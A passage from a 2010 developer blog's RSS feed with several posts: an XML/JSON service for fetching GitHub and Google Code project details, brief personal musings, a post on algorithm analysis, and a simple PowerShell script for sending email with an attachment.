		<title>Introducing my Open Source Projects Service: Grab Your Project Details From GitHub or Google Code</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/3i4hP7vIDhU/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 16:00:55 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ADC Services]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[RESTful]]></category>

		<category><![CDATA[Services]]></category>

		<category><![CDATA[WCF]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2278</guid>
		<description><![CDATA[Say hello to the newest member of my service family; the Open Source Project Service. This service lets me (and you too my friends) grab our project details from either Google Code, or GitHub.
How it works
If you have a project on GitHub or Google Code, you can retrieve your project details.
Single project host retrieval URI:
http://adam.kahtava.com/services/open-source/projects/{project-host}.{xml&#124;json}?user={username}
Multiple [...]]]></description>
			<content:encoded><![CDATA[<p>Say <em>hello</em> to the newest member of <a href="http://adam.kahtava.com/journal/category/open-source/adc-services/">my service family</a>; <em>the Open Source Project Service</em>. This service lets me (and you too my friends) grab our project details from either <a href="http://code.google.com/u/adam.kahtava.com/">Google Code</a>, or <a href="http://github.com/AdamDotCom">GitHub</a>.</p>
<h3>How it works</h3>
<p>If you have a project on GitHub or Google Code, you can retrieve your project details.</p>
<p>Single project host retrieval URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/open-source/projects/<em>{project-host}</em>.<em>{xml|json}</em>?user=<em>{username}</em></span></p>
<p>Multiple project host retrieval URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/open-source/projects.<em>{xml|json}</em>?project-host:username=<em>{project-host1:username1,<span style="text-decoration: underline;"><em>project-host2:username2<span style="text-decoration: underline;"><em>}</em></span></em></span></em></span></p>
<p><strong>Example</strong>, requesting projects from Google Code in XML format:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/open-source/projects/googlecode.xml?user=adam.kahtava.com">http://adam.kahtava.com/services/open-source/projects/googlecode.xml?user=adam.kahtava.com</a></p>
<p style="padding-left: 30px;">Response:</p>
<div class="syntax_hilite">
<div id="xml-20">
<div class="xml"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Projects</span> <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">"http://adam.kahtava.com/services/open-source"</span> xmlns:<span style="color: #000066;">i</span>=<span style="color: #ff0000;">"http://www.w3.org/2001/XMLSchema-instance"</span><span style="font-weight: bold; color: black;">&gt;</span></span><br />
&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Project<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Description<span style="font-weight: bold; color: black;">&gt;</span></span></span>The site source in use on Adam.Kahtava.com / AdamDotCom.com (http://adam.kahtava.com/)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Description<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span>More code coverage on controllers required!! :)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span>2010-02-26<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Name<span style="font-weight: bold; color: black;">&gt;</span></span></span>website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Name<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Url<span style="font-weight: bold; color: black;">&gt;</span></span></span>http://code.google.com/p/adamdotcom-website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Url<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Project<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; ...<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Projects<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</div>
</div>
<p>
<strong>Example</strong>, requesting projects from GitHub in JSON format:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/open-source/projects/github.json?user=adamdotcom">http://adam.kahtava.com/services/open-source/projects/github.json?user=adamdotcom</a></p>
<p style="padding-left: 30px;">Response:</p>
<div class="syntax_hilite">
<div id="javascript-21">
<div class="javascript"><span style="color: #66cc66;">&#91;</span><br />
&nbsp; <span style="color: #66cc66;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #3366CC;">"Description"</span>:<span style="color: #3366CC;">"A collection of my etcetera, so forth, and so on. Contains a PowerShell script for Twitter, a programming exercise in Ruby, a programming exercise for Google done in JavaScript."</span>,<br />
&nbsp; &nbsp; <span style="color: #3366CC;">"LastMessage"</span>:<span style="color: #3366CC;">"Bing-bing, changing filenames"</span>,<br />
&nbsp; &nbsp; <span style="color: #3366CC;">"LastModified"</span>:<span style="color: #3366CC;">"2009-06-08"</span>,<br />
&nbsp; &nbsp; <span style="color: #3366CC;">"Name"</span>:<span style="color: #3366CC;">"scripts"</span>,<br />
&nbsp; &nbsp; <span style="color: #3366CC;">"Url"</span>:<span style="color: #3366CC;">"http:<span style="color: #000099; font-weight: bold;">\/</span><span style="color: #000099; font-weight: bold;">\/</span>github.com<span style="color: #000099; font-weight: bold;">\/</span>AdamDotCom<span style="color: #000099; font-weight: bold;">\/</span>scripts"</span><br />
&nbsp; <span style="color: #66cc66;">&#125;</span>,<br />
&nbsp; ...<br />
<span style="color: #66cc66;">&#93;</span></div>
</div>
</div>
<p>
<strong>Example</strong>, requesting projects from both GitHub and Google Code in a single request in XML form:</p>
<p>Request: <a href="http://adam.kahtava.com/services/open-source/projects.xml?project-host:username=github:adamdotcom,googlecode:adam.kahtava.com">http://adam.kahtava.com/services/open-source/projects.xml?project-host:username=github:adamdotcom,googlecode:adam.kahtava.com</a></p>
<p>Response:</p>
<div class="syntax_hilite">
<div id="xml-22">
<div class="xml"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Projects</span> <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">"http://adam.kahtava.com/services/open-source"</span> xmlns:<span style="color: #000066;">i</span>=<span style="color: #ff0000;">"http://www.w3.org/2001/XMLSchema-instance"</span><span style="font-weight: bold; color: black;">&gt;</span></span><br />
&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Project<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Description<span style="font-weight: bold; color: black;">&gt;</span></span></span>Displays your public source code repositories from Google Code and GitHub.<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Description<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span>Added http://code.google.com/p/adamdotcom-services/ link<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span>2010-02-23<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Name<span style="font-weight: bold; color: black;">&gt;</span></span></span>project badge<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Name<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Url<span style="font-weight: bold; color: black;">&gt;</span></span></span>http://github.com/AdamDotCom/project-badge<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Url<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Project<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; ...<br />
&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Project<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Description<span style="font-weight: bold; color: black;">&gt;</span></span></span>The site source in use on Adam.Kahtava.com / AdamDotCom.com (http://adam.kahtava.com/)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Description<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span>More code coverage on controllers required!! :)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span>2010-02-26<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Name<span style="font-weight: bold; color: black;">&gt;</span></span></span>website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Name<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Url<span style="font-weight: bold; color: black;">&gt;</span></span></span>http://code.google.com/p/adamdotcom-website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Url<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Project<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; ...<br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Projects<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</div>
</div>
<p></p>
<h3>And Now What?</h3>
<p>View my sidebar widget that uses this service to display the latest updates from my source code repositories <a href="http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/">here</a>. </p>
<p>Contribute, view, or download this openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.OpenSource.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3i4hP7vIDhU:TmRkCzItDAM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3i4hP7vIDhU:TmRkCzItDAM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3i4hP7vIDhU:TmRkCzItDAM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/3i4hP7vIDhU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/</feedburner:origLink></item>
		<item>
		<title>Tired of Strong Opinions Weakly Held</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/wt0RmXXWXz4/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/09/tired-of-strong-opinions-weakly-held/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 16:00:24 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2267</guid>
		<description><![CDATA[Strong opinions weakly held is a common conversational / debating approach within IT. Basically you defend your opinion until someone disproves it, at which time you adopt the more correct opinion. This approach works well in IT where allotted time for debates are limited and the cumulative knowledge of the team outweighs the individual. This approach [...]]]></description>
			<content:encoded><![CDATA[<p><em><a href="http://bobsutton.typepad.com/my_weblog/2006/07/strong_opinions.html">Strong opinions weakly held</a></em> is a common conversational / debating approach within IT. Basically you defend your opinion until someone disproves it, at which time you adopt the more correct opinion. This approach works well in IT where allotted time for debates are limited and the cumulative knowledge of the team outweighs the individual. This approach doesn't work as well in the real world. Using this technique with unsuspecting civilians (especially new acquaintances) can results in the victim thinking you're a) high strung, b) psychotic, c) egotistical, d) possibly a jerk. Actually, this approach can get tiresome in the IT realm too.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=wt0RmXXWXz4:r7nlETqKJ_g:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=wt0RmXXWXz4:r7nlETqKJ_g:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=wt0RmXXWXz4:r7nlETqKJ_g:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/wt0RmXXWXz4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/09/tired-of-strong-opinions-weakly-held/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/09/tired-of-strong-opinions-weakly-held/</feedburner:origLink></item>
		<item>
		<title>Preaching to the Choir</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/Q0uZX6UMyPM/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/01/preaching-to-the-choir/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 16:00:08 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2261</guid>
		<description><![CDATA[I go for a walk every day (yeah-yeah, I'll be a mall walker one day). My route takes me by a series of automated parking payment machines - the ones where you punch in your license plate along with a parking quadrant. Surprisingly enough, these machines provide endless comedic relief as people talk, grumble, and curse these [...]]]></description>
			<content:encoded><![CDATA[<p>I go for a walk every day (yeah-yeah, I'll be a mall walker one day). My route takes me by a series of automated parking payment machines - the ones where you punch in your license plate along with a parking quadrant. Surprisingly enough, these machines provide endless comedic relief as people talk, grumble, and curse these inanimate objects - some people go as far as to physically assault them, jam their keys in them, give 'em a good kick. It's funny to watch a level headed business man break his cool as he uses a car key to fish around in the coin slot while cursing. My favorite responses are the talkers; grumbling about the price of parking or technology in general. I'm sure they know the machine can't hear them, but yet they give that box of wires a piece of their mind.</p>
<p>If these talkers and grumblers were on the internet they'd most certainly be on Twitter or have a blog.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Q0uZX6UMyPM:hwn8_1V6b4Q:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Q0uZX6UMyPM:hwn8_1V6b4Q:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Q0uZX6UMyPM:hwn8_1V6b4Q:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Q0uZX6UMyPM:hwn8_1V6b4Q:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/Q0uZX6UMyPM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/01/preaching-to-the-choir/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/01/preaching-to-the-choir/</feedburner:origLink></item>
		<item>
		<title>Algorithm Analysis and Asymptotic Complexity / Big O Notation Is Important</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/j_a0aAMTXU8/</link>
		<comments>http://adam.kahtava.com/journal/2010/01/21/algorithm-analysis-and-asymptotic-complexity-big-o-notation-is-important/#comments</comments>
		<pubDate>Thu, 21 Jan 2010 16:00:36 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2184</guid>
		<description><![CDATA[
Algorithm Analysis (Asymptotic Complexity / Big O Notation) courses are the bane of computer science students everywhere. These courses were mandatory, dry, and lacked real world pragmatism for students who just wanted to get stuff done. Well, that's what we told ourselves; that's the theory we presented to our friends - we were convinced that framework [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/larskflem/314387345/"><img src="http://farm1.static.flickr.com/121/314387345_6b48d92d91_m.jpg" alt="" /></a></div>
<p>Algorithm Analysis (Asymptotic Complexity / <a href="http://en.wikipedia.org/wiki/Big_O_notation">Big O Notation</a>) courses are the bane of computer science students everywhere. These courses were mandatory, dry, and lacked real world pragmatism for students who just wanted to<em> get stuff done</em>. Well, that's what we told ourselves; that's the theory we presented to our friends - we were convinced that framework vendors or the hoogie-boogie man would figure out the most efficient way to performance tune / compile our code. We looked to Sun, Microsoft, or IBM to figure out the details. In truth we were lazy-naive students and Algorithm Analysis was tougher than we'd like to admit - much harder than programming in 4th generation programming languages, more difficult than computer theory, or operating system theory.</p>
<p>As I brush up Algorithm Analysis I found these perspectives interesting:</p>
<blockquote><p>to be a good programmer, you just program ever day for two years ... to be a world-class programmer, you can program every day for ten years, or you can program every day for two years and take an algorithms class - <a href="http://ocw.mit.edu/OcwWeb/Electrical-Engineering-and-Computer-Science/6-046JFall-2005/VideoLectures/detail/embed01.htm">Introduction - Analysis of Algorithms, Insertion Sort, Mergesort</a></p></blockquote>
<blockquote><p>Having a solid base of algorithmic knowledge and technique is one characteristic that separates the truly skilled programmers from the novices. With modern computing technology, you can accomplish some tasks without knowing much about algorithms, but with a good background in algorithms, you can do much, much more - <a href="http://www.amazon.com/Introduction-Algorithms-Second-Thomas-Cormen/dp/0262032937">Introduction to Algorithms, Second Edition</a></p></blockquote>
<p>It's unfortunate that our professors never mentioned that Algorithm Analysis would be an integral part of academic type interviews and a prerequisite for getting a job at Google, but then again who would have listened?</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=j_a0aAMTXU8:dUnhxeEmZBM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=j_a0aAMTXU8:dUnhxeEmZBM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=j_a0aAMTXU8:dUnhxeEmZBM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=j_a0aAMTXU8:dUnhxeEmZBM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/j_a0aAMTXU8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/01/21/algorithm-analysis-and-asymptotic-complexity-big-o-notation-is-important/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/01/21/algorithm-analysis-and-asymptotic-complexity-big-o-notation-is-important/</feedburner:origLink></item>
		<item>
		<title>Sending Email With Attachments In PowerShell</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/X5vjIAPYWrc/</link>
		<comments>http://adam.kahtava.com/journal/2010/01/19/sending-email-with-attachments-in-powershell/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 16:00:22 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[PowerShell]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2225</guid>
		<description><![CDATA[Here's an example on how to send email with attachments via PowerShell:


# A Mailer script that makes use of System.Net to send email with attachments
#
# Sample usage:
#&#160; PS C:\&#62; Send-Mail-With-Attachment 'email@domain.com' 'Hello world!' 'Filename.txt'
function global:Send-Mail-With-Attachment&#40;$to, $subject, $file&#41;&#123;
&#160; $filenameAndPath = &#40;Resolve-Path .\$file&#41;.ToString&#40;&#41;
&#160; $from = 'Automated Powershell Mailer'
&#160; &#91;void&#93;&#91;Reflection.Assembly&#93;::LoadWithPartialName&#40;'System.Net'&#41; &#124; out-null
&#160; $message = New-Object System.Net.Mail.MailMessage&#40;$from, $to, $subject, [...]]]></description>
			<content:encoded><![CDATA[<p>Here's an example on how to send email with attachments via PowerShell:</p>
<div class="syntax_hilite">
<div id="csharp-24">
<div class="csharp"><span style="color: #008080;"># A Mailer script that makes use of System.Net to send email with attachments</span><br />
<span style="color: #008080;">#</span><br />
<span style="color: #008080;"># Sample usage:</span><br />
<span style="color: #008080;">#&nbsp; PS C:\&gt; Send-Mail-With-Attachment 'email@domain.com' 'Hello world!' 'Filename.txt'</span></p>
<p>function global:Send-Mail-With-Attachment<span style="color: #000000;">&#40;</span>$to, $subject, $file<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span></p>
<p>&nbsp; $filenameAndPath = <span style="color: #000000;">&#40;</span>Resolve-Path .\$file<span style="color: #000000;">&#41;</span>.<span style="color: #0000FF;">ToString</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><br />
&nbsp; $from = <span style="color: #808080;">'Automated Powershell Mailer'</span></p>
<p>&nbsp; <span style="color: #000000;">&#91;</span><span style="color: #0600FF;">void</span><span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span>Reflection.<span style="color: #0000FF;">Assembly</span><span style="color: #000000;">&#93;</span>::<span style="color: #0000FF;">LoadWithPartialName</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">'System.Net'</span><span style="color: #000000;">&#41;</span> | out-<span style="color: #0600FF;">null</span></p>
<p>&nbsp; $message = New-<span style="color: #FF0000;">Object</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Net</span>.<span style="color: #0000FF;">Mail</span>.<span style="color: #0000FF;">MailMessage</span><span style="color: #000000;">&#40;</span>$from, $to, $subject, $subject<span style="color: #000000;">&#41;</span><br />
&nbsp; $attachment = New-<span style="color: #FF0000;">Object</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Net</span>.<span style="color: #0000FF;">Mail</span>.<span style="color: #0000FF;">Attachment</span><span style="color: #000000;">&#40;</span>$filenameAndPath, <span style="color: #808080;">'text/plain'</span><span style="color: #000000;">&#41;</span><br />
&nbsp; $message.<span style="color: #0000FF;">Attachments</span>.<span style="color: #0000FF;">Add</span><span style="color: #000000;">&#40;</span>$attachment<span style="color: #000000;">&#41;</span></p>
<p>&nbsp; $smtpClient = New-<span style="color: #FF0000;">Object</span> <span style="color: #000000;">System</span>.<span style="color: #0000FF;">Net</span>.<span style="color: #0000FF;">Mail</span>.<span style="color: #0000FF;">SmtpClient</span><br />
&nbsp; $smtpClient.<span style="color: #0000FF;">host</span> = <span style="color: #808080;">'mail.domain.com'</span><br />
&nbsp; $smtpClient.<span style="color: #0000FF;">Send</span><span style="color: #000000;">&#40;</span>$message<span style="color: #000000;">&#41;</span><br />
<span style="color: #000000;">&#125;</span></div>
</div>
</div>
<p></p>
<p>Contribute, view, or download the script here: <a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Mailer.ps1">Mailer.ps1</a></p>
<div class="feedflare">
